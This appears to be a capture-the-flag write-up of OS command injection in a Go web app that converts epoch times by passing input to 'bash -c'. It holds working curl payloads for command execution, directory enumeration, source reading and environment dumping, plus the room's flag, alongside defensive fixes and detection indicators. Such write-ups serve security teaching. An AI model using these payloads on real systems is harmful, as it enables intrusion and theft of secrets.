Epoch
Exploit an unsanitized epoch-to-UTC converter to achieve OS command
injection via bash -c, enumerate the execution
context, read server-side source code to confirm the vulnerability
mechanics, and extract the flag from a process environment variable.
Objective #
The target is a web application that converts UNIX epoch values into human-readable UTC timestamps. The objective is to determine whether user input is passed unsafely to an underlying operating system command, exploit that weakness to achieve arbitrary command execution, and retrieve the flag from the target environment.
A short, controlled validation path is more efficient than blind fuzzing. Confirm transport, inspect input, prove execution, then enumerate deliberately. This challenge rewards methodical reconnaissance over brute force.
Skills Tested #
This room is intentionally simple in surface area but dense in foundational lessons. The real skill is not guessing the flag location — it is understanding why each step in the injection chain works at the shell-interpreter level, and how error-handling logic in the application affects payload reliability.
Attack Flow #
Check reachability (HTTP / HTTPS)
|
v
Retrieve landing page, inspect
form structure and input method
|
v
Validate normal function with
a safe epoch value (epoch=0)
|
v
Test command injection using
shell separators (; &&)
|
v
Enumerate execution context
(pwd, ls, whoami)
|
v
Read application source code
(main.go) to confirm mechanism
|
v
Search for flag in common file
locations (filesystem scan)
|
v
Pivot to environment variables
(env) - extract FLAG variable
Methodology #
1 · Verify Service Reachability
The Action
Test whether the target is reachable over both HTTP and HTTPS to determine which transport is active.
curl -i --max-time 15 "http://10.67.134.217"
curl -k -i --max-time 15 "https://10.67.134.217"
The Why
This is foundational network hygiene. Before assessing application behavior, you must determine whether the host is reachable, which transport is active, whether TLS is configured, and whether earlier failures were due to application issues or simple connectivity mismatch. In challenge environments, service exposure often changes between restarts. Validating protocol availability first prevents wasting time on the wrong transport.
The Findings
The HTTP request returned 200 OK and served the
application page. The HTTPS request failed to connect.
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1184
The service was live on HTTP, not HTTPS. That immediately narrowed the testing path and eliminated any TLS-related investigation.
Thought Process
Working hypothesis: the challenge likely exposed only a single lightweight web service, probably HTTP only. Once HTTP responded successfully, the next task was to inspect the HTML and determine how the application accepted input.
2 · Inspect the Web Interface
The Action
Review the returned HTML from the landing page to understand the application's input handling.
curl -i --max-time 15 "http://10.67.134.217"
The returned page included a form like this:
<form class="col-6 mx-auto" action="/">
<div class="input-group">
<input name="epoch" value="" type="text" class="form-control"
placeholder="Epoch" aria-label="Epoch"
aria-describedby="basic-addon2" required>
<div class="input-group-append">
<button class="btn btn-outline-secondary"
type="submit">Convert</button>
</div>
</div>
</form>
The Why
HTML inspection often reveals the application's intended input
handling without requiring a proxy. Here, the key questions were:
what parameter name is expected, does the form use GET or POST, and
does the application reflect submitted input back into the page.
The absence of method="post" in the form tag strongly
implies a GET request — browsers default to GET when no method
is declared.
The Findings
The form submitted to / and accepted a parameter named
epoch. Because no method was declared, the browser
default would be GET. This means the application could be interacted
with directly via URL query parameters.
Always confirm the baseline first. A working benign request gives you a reference point for spotting abnormal behavior later. HTML source often reveals more than the rendered page.
3 · Validate Normal Application Functionality
The Action
Submit a valid epoch value to confirm baseline behavior.
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0"
The Why
Before testing malicious payloads, verify that the parameter name is correct, the application is functioning normally, the result is rendered inside the HTML response, and the output location in the page is predictable. This creates a control case against which injection results can be compared.
The Findings
The application responded with the expected UTC conversion:
<pre>Thu Jan 1 00:00:00 UTC 1970
</pre>
This output is characteristic of the date command
with epoch input, specifically date -d @0. The
fact that the challenge description mentions the site "passes
your input right along" to a command-line program strongly
suggested the backend was invoking date via shell.
Thought Process
A valid conversion confirmed that the epoch parameter
reached backend logic successfully and that command output was
reflected into the page. The next hypothesis was that the value
might be interpolated directly into a shell command. The safest
proof test was a classic separator-based payload.
4 · Test for OS Command Injection
The Action
Test shell metacharacter injection using ; and
&&.
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;id"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0&&id"
The Why
Both ; and && are shell command
separators with different semantics:
| Separator | Behavior |
|---|---|
| ; | Executes the next command unconditionally, regardless of previous exit code |
| && | Executes the next command only if the previous command exits with status 0 |
| || | Executes the next command only if the previous command exits non-zero |
| | | Pipes stdout of the first command into stdin of the second |
| $(cmd) | Command substitution — executes cmd and substitutes its output inline |
| `cmd` | Legacy command substitution (backticks) — same as $(cmd) |
If either payload caused id output to appear in the
response, it would confirm the application was passing user input to
a shell interpreter rather than safely invoking a binary with
isolated arguments.
The Findings
Both payloads succeeded. The response included:
Thu Jan 1 00:00:00 UTC 1970
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
The presence of uid=1000(challenge) in application
output proved arbitrary command execution in the server context.
The application was clearly vulnerable to OS command injection.
The task shifted from vulnerability discovery to controlled
post-exploitation enumeration.
5 · Enumerate Execution Context
The Action
Enumerate the current working directory and nearby files.
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;pwd;ls -la"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;ls -la /;ls -la /home;ls -la /home/challenge"
The Why
Once command execution is confirmed, the most efficient next step is context mapping: where am I, what user am I, what files are present, is source code available, are there obvious secrets nearby. This avoids jumping directly into noisy whole-filesystem searches.
The Findings
The process was executing from /home/challenge, and the
directory contained application artifacts:
/home/challenge
go.mod
go.sum
main
main.go
views
Thought Process
Finding main.go was strategically important. Rather
than continue guessing how the backend assembled commands, reading
the source code would confirm the exact vulnerability mechanics.
Source code access turns hypothesis into certainty. If the app code is readable after gaining execution, use it. Understanding the exact vulnerable pattern lets you construct more reliable payloads and avoid unnecessary noise.
6 · Read the Application Source Code
The Action
Read the Go source file directly from the target.
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;sed -n '1,220p' /home/challenge/main.go"
The Why
This was the most valuable validation step in the entire exploit chain. Reading source code allows the assessor to confirm exact parameter handling, see whether sanitization exists, identify whether input is passed to a shell, understand how errors are rendered, and choose more reliable payload construction.
The Findings
The application contained the following critical code path:
cmdString := fmt.Sprintf("date -d @%s", r.Epoch)
cmd := exec.Command("bash", "-c", cmdString)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return c.Render("index", fiber.Map{
"epoch": r.Epoch,
"output": err,
})
}
return c.Render("index", fiber.Map{
"epoch": r.Epoch,
"output": string(stdoutStderr),
})
Thought Process
At this point, the vulnerability was fully explained:
- Input was inserted unsafely into a shell command string via
fmt.Sprintf - The shell interpreter was explicitly
bash -c - Command separators like
;were expected to work - On non-zero exit, the application returned only the error object rather than stdout/stderr content
This last detail explained why some multi-command payloads would
produce only exit status 1 instead of useful output.
The application was not simply calling date —
it was building a shell command string and handing it to
bash -c. This is the exact condition that makes shell
metacharacter injection possible. The fmt.Sprintf
call treats user input as data, but bash -c
interprets the entire string as syntax. That boundary
collapse is the heart of command injection.
7 · Search for the Flag
The Action
Attempt common flag discovery patterns.
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;find / -iname '*flag*' 2>/dev/null;true"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;find / -maxdepth 2 -type f 2>/dev/null|grep -E 'flag|user|root' ;true"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;cat /flag.txt;cat /root/flag.txt;cat /home/challenge/flag.txt;cat /home/challenge/user.txt"
The Why
These are common post-exploitation tactics in CTF-style Linux
targets: look for flag.txt, inspect obvious home
directory targets, search the filesystem for names containing
"flag", and read likely files directly. The ;true
suffix was appended so the final shell exit code would be zero,
preventing the application from suppressing useful output.
The Findings
The broad filesystem search produced many false positives such as
kernel and library files named "flags" — not challenge
artifacts. The multi-cat payload returned only:
exit status 1
This happened because one or more file reads failed and the application rendered the error rather than mixed stdout output.
Thought Process
The absence of a clean filesystem hit suggested the flag might not be stored in a conventional file. Since CTF containers frequently expose secrets through environment variables, the next logical action was to inspect the process environment.
Treating every find *flag* result as meaningful.
Many Linux systems contain numerous unrelated files whose names
include "flag" or "flags" — kernel pseudo-files, library
headers, build configuration files. Filter signal from noise.
8 · Inspect Environment Variables and Recover the Flag
The Action
Dump environment variables from the process context.
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;env;true"
The Why
Environment inspection is often overlooked, but it is especially important in containerized or challenge environments because:
- Secrets may be injected through environment variables
- Orchestration systems frequently use env vars for runtime configuration
- CTF authors often place flags there intentionally
- Environment variables are readable without additional filesystem permissions
Appending ;true ensured the shell completed with
success even if any earlier command returned an unexpected code.
The Findings
The response included:
FLAG=flag{7da6c7debd40bd611560c13d8149b647}
The flag resided in the FLAG environment variable,
not in a file on disk. Because command injection gave arbitrary
shell execution in the application context, reading the
environment was sufficient to retrieve it.
Rabbit Holes & Pivots #
1 · Earlier Target IPs Were Unreachable
Earlier target IPs timed out over both HTTP and HTTPS. This was not an exploitation failure — it was an environment/network timing issue common to lab platforms where restarted machines receive new IPs and may briefly be unavailable. Repeated timeouts across both protocols indicated a transport-level problem rather than a malformed request.
The Pivot: Wait for a fresh target IP and resume only after validating reachability.
Not every failed request is an application bug or defensive control. Sometimes the lab is simply not ready. Verify connectivity at layer 4 before debugging layer 7.
2 · HTTPS Was a Dead End
The HTTPS request failed while HTTP succeeded. The service was only
listening on port 80 and did not expose a TLS listener
on 443. HTTP returned a valid 200 OK,
while HTTPS failed immediately with a connection error (not a
certificate warning — a total connection failure).
The Pivot: Constrain all subsequent assessment to
http://10.67.134.217.
3 · Broad Flag Searches Produced Noise
find / -iname '*flag*' returned many irrelevant system
files such as /proc/kpageflags and various
library/tooling files. String matching against the entire filesystem
is coarse — on Linux, "flag" is a common token in system and
development files.
The Pivot: Shift from coarse filename searching to higher-value targets: application source code, environment variables, and execution context.
4 · Multi-cat Payload Returned Only Exit Status 1
A payload attempting several simultaneous file reads returned only
exit status 1. From the source code, the application
rendered err instead of stdout when the shell command
returned a non-zero exit code. If any cat failed, the
final shell status could be non-zero, causing the app to suppress
useful output entirely.
The Pivot: Use ;true at the end of
payloads so the shell would exit successfully and the application
would render the command output.
Ignoring shell exit codes. In command injection work, output handling is often governed as much by exit status as by command content. Always consider how the target application processes command success vs. failure.
Deep Dives #
Deep Dive 1 — Why This Is Command Injection
The backend constructed a command string using unsanitized user input, then passed it to a shell interpreter:
cmdString := fmt.Sprintf("date -d @%s", r.Epoch)
cmd := exec.Command("bash", "-c", cmdString)
This is a textbook OS command injection pattern.
Vulnerable Data Flow
| Stage | Behavior |
|---|---|
| User input | epoch is read from the query string without validation |
| String formatting | Input is inserted into date -d @%s via fmt.Sprintf |
| Shell invocation | bash -c interprets the entire string as shell syntax |
| Output handling | Combined stdout/stderr is returned to the page (on exit 0) |
Why bash -c Is the Problem
If the developer had executed date directly with
structured arguments (e.g.,
exec.Command("date", "-d", "@"+epoch)), the shell would
never parse the input at all. There would be no shell metacharacter
interpretation. But bash -c explicitly asks Bash to
interpret the string as shell syntax, which means every special
character (;, &&, |,
$()) is live.
Payload Semantics
| Payload | Shell Interpretation |
|---|---|
| 0 | Legitimate epoch: runs date -d @0 |
| 0;id | Runs date -d @0, then unconditionally runs id |
| 0&&id | Runs id only if date -d @0 succeeds |
| 0;env;true | Runs date, dumps environment, then forces exit status 0 |
Shelling out with string concatenation converts user input from "data" into "syntax." That boundary collapse is the heart of command injection. The safe pattern is to never pass user input through a shell interpreter.
Deep Dive 2 — Exit Status and the ;true Stabilization Trick
The application logic used CombinedOutput() and then
checked err. If the shell returned a non-zero exit
code, the application rendered only the error object — not
the stdout/stderr content.
What This Means Operationally
| Condition | Shell Exit Status | App Renders |
|---|---|---|
| All commands succeed | 0 | stdout/stderr content (useful) |
| Any command fails last | Non-zero | Error object only (e.g., "exit status 1") |
Why ;true Helps
true is a shell builtin that exits with status
0. When appended as the final command, it makes the
entire command chain exit successfully even if earlier operations
produced non-zero codes. This causes the application to display the
collected output instead of suppressing it.
Practical Comparison
| Payload | Likely Result |
|---|---|
| 0;cat /flag.txt;cat /root/flag.txt | May end with non-zero status, hides all stdout |
| 0;cat /flag.txt;cat /root/flag.txt;true | Forces exit 0, preserves display of whatever was readable |
Exploitation reliability is not only about gaining execution; it is also about controlling how the application handles command success and failure. Understanding the app's error-handling path (via source code review) directly informed payload design.
Defensive Lessons #
1 · Never Build Shell Commands with User Input
The root flaw was direct concatenation of attacker-controlled input into a shell command string. The safe pattern is to invoke binaries directly with explicit arguments, bypassing shell interpretation entirely.
Vulnerable pattern (what the app did):
// DANGEROUS: user input becomes shell syntax
cmdString := fmt.Sprintf("date -d @%s", userInput)
cmd := exec.Command("bash", "-c", cmdString)
Safe pattern:
// SAFE: no shell involved, arguments are data not syntax
cmd := exec.Command("date", "-d", "@"+validatedEpoch)
2 · Prefer Native Language Functions Over Shelling Out
This application did not need to call date at all.
Go can convert UNIX timestamps natively using the standard library.
Eliminating shell invocation removes an entire class of
vulnerabilities.
// Best approach: no external process at all
t := time.Unix(epochInt, 0).UTC()
formatted := t.Format(time.UnixDate)
The most secure shell command is the one you never execute. If your language's standard library can perform the operation, use it instead of shelling out.
3 · Enforce Strict Input Validation
The epoch parameter should have been constrained to
numeric input only. Any of the following controls would have
prevented this exploit:
| Control | Benefit |
|---|---|
| Integer parsing | Rejects shell metacharacters (;, &, |, etc.) |
| Allowlist validation | Accepts only expected characters (digits, optional leading minus) |
| Length limits | Reduces abuse surface for complex payloads |
| Server-side validation | Prevents client-side bypass of any front-end checks |
4 · Do Not Store Secrets in Easily Exposed Environments
The flag was stored in the FLAG environment variable.
In real systems, secrets in environment variables can be exposed
through command injection, debug endpoints, crash reports, process
inspection (/proc/self/environ), and misconfigured
observability tooling. Use a proper secrets manager where possible,
and scope secret exposure tightly.
5 · Log and Alert on Shell Abuse Indicators
A blue team could detect this type of exploitation by watching for:
- Metacharacters in user input:
;,&&,|,$() - Unexpected child processes spawned by web services
- Invocation of
bash -cfrom application runtimes - Suspicious commands like
id,env,pwd,find,cat - WAF rules matching common injection patterns in query parameters
Using bash -c with string formatting instead of
direct argument passing · relying on client-side
validation alone · storing secrets in environment
variables accessible to web processes · rendering raw
command output without output encoding · not logging
or alerting on suspicious parameter content.
Full Reproduction Path #
Below is the clean, minimal path to reproduce the successful exploitation, stripped of all trial-and-error.
-
Confirm the page is live
curl -i "http://TARGET_IP" -
Confirm normal application behavior
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0" -
Prove command injection
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;id" -
Extract the flag from the environment
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;env;true" -
Submit the flag
flag{7da6c7debd40bd611560c13d8149b647}
Commands Reference #
Reachability Check
curl -i --max-time 15 "http://TARGET_IP"
curl -k -i --max-time 15 "https://TARGET_IP"
Form Inspection
curl -i --max-time 15 "http://TARGET_IP"
# Inspect returned HTML for form structure, parameter names, and method
Baseline Validation
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0"
Injection Proof
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;id"
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0&&id"
Context Enumeration
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;pwd;ls -la"
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;ls -la /home/challenge"
Source Code Review
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;sed -n '1,220p' /home/challenge/main.go"
Flag Extraction
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;env;true"
Quick Reference #
Closing Note #
This challenge was intentionally simple in appearance but rich as an operational lesson. The critical sequence was not "guess the flag location." It was: verify transport, inspect input surface, validate normal behavior, prove shell execution, read source, adapt to error-handling behavior, and enumerate intelligently.
That sequence is what transforms a casual CTF solve into disciplined security engineering. Every step had a purpose, every pivot was informed by evidence, and the source code review was the decisive moment that elevated the assessment from inference to certainty.